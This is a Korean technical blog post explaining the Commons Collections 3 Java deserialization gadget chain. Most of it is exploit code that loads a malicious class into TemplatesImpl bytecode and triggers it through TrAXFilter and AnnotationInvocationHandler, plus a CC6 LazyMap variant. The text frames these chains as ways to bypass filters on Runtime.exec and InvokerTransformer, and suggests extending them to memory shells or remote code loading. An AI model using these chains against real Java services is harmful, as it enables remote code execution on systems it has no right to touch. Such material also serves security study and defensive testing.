Common Collections 3(C3)에서의 악성 코드 실행을 위한 복제 및 방어 조치 회피 전략에 대해 설명한다. 이 글은 이전의 CC1, CC6 및 동적 바이트코드 로딩 기법을 기반으로 한다.
필터링된 메서드 대응: Runtime.exec 차단 시 해결책
기존의 CC 체인은 대부분 transform() 함수를 통해 Runtime.getRuntime()를 호출하는 구조로 구성된다. 그러나 exec, Runtime.class 등의 키워드가 금지되면 일반적인 접근이 불가능해진다. 이 경우, 동적 바이트코드 로딩 기법을 활용하여 실행 컨텍스트를 우회할 수 있다.
동적 바이트코드 사용: TemplatesImpl 기반 실행
TemplatesImpl 클래스는 _bytecodes 필드를 통해 외부에서 로드한 바이트코드를 직접 실행할 수 있는 특성을 가지고 있다. 이를 이용해 악성 클래스(예: evil.class)를 로드하고, newTransformer() 호출 시 자동으로 실행되도록 구성한다.
package org.com.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections3 {
public static void main(String[] args) throws Exception {
// 악성 바이트코드 로드
byte[] maliciousCode = Files.readAllBytes(Paths.get("E:\\java학습\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{maliciousCode});
setFieldValue(templates, "_name", "Hello");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// ChainedTransformer 구성: TemplatesImpl → newTransformer()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
Transformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
// AnnotationInvocationHandler를 통한 역직렬화 트리거
Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = handlerClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object handler = constructor.newInstance(Retention.class, outerMap);
// 직렬화 후 역직렬화
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
ois.readObject();
}
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) throw new NoSuchFieldException(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
InvokerTransformer 제거: InstantiateTransformer 활용
만약 InvokerTransformer 자체가 차단된다면, 대신 InstantiateTransformer를 사용하여 클래스 생성자를 직접 호출할 수 있다. 이는 ChainedTransformer의 transform() 메서드 내에서 newInstance()를 통해 객체 인스턴스화를 수행하게 된다.
특히 TrAXFilter는 Templates 인스턴스를 생성자 파라미터로 받으며, 이때 newTransformer()가 자동으로 실행되는 구조로 설계되어 있다. 따라서 InvokerTransformer 없이도 원격 명령 실행이 가능하다.
버전 호환성 확보: CC6와의 결합
기존의 TransformedMap 기반 구조는 특정 버전에서만 작동할 수 있다. 이를 보완하기 위해 LazyMap과 TiedMapEntry를 활용한 CC6 기법을 추가하여, 더 넓은 환경에서의 호환성을 확보한다.
// ... (중략)
// LazyMap + TiedMapEntry를 사용한 고급 트리거
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(entry, "valuevalue");
outerMap.clear(); // 트리거를 위한 상태 초기화
// ChainedTransformer의 iTransformers 필드를 직접 수정
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain, transformers);
// 최종 직렬화
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(expMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
ois.readObject();
핵심 요약: 세 가지 단계의 공격 모델
- 공격 코드 삽입:
TemplatesImpl의_bytecodes필드에 악성 클래스를 주입하여 실행 가능한 바이트코드를 포함시킨다. - 실행 트리거:
AnnotationInvocationHandler등에서transform()이 호출되도록 하는 조건을 구성한다. - 비즈니스 로직 회피:
InvokerTransformer대신InstantiateTransformer와TrAXFilter를 조합하여 런타임 검사 및 필터링을 우회한다.
이러한 기법들은 다양한 조합으로 확장될 수 있으며, 예를 들어 명령 실행 대신 메모리 마스크 또는 원격 코드 로딩 등을 적용할 수도 있다. 핵심은 유연한 구성 능력과 사고의 확장성이다.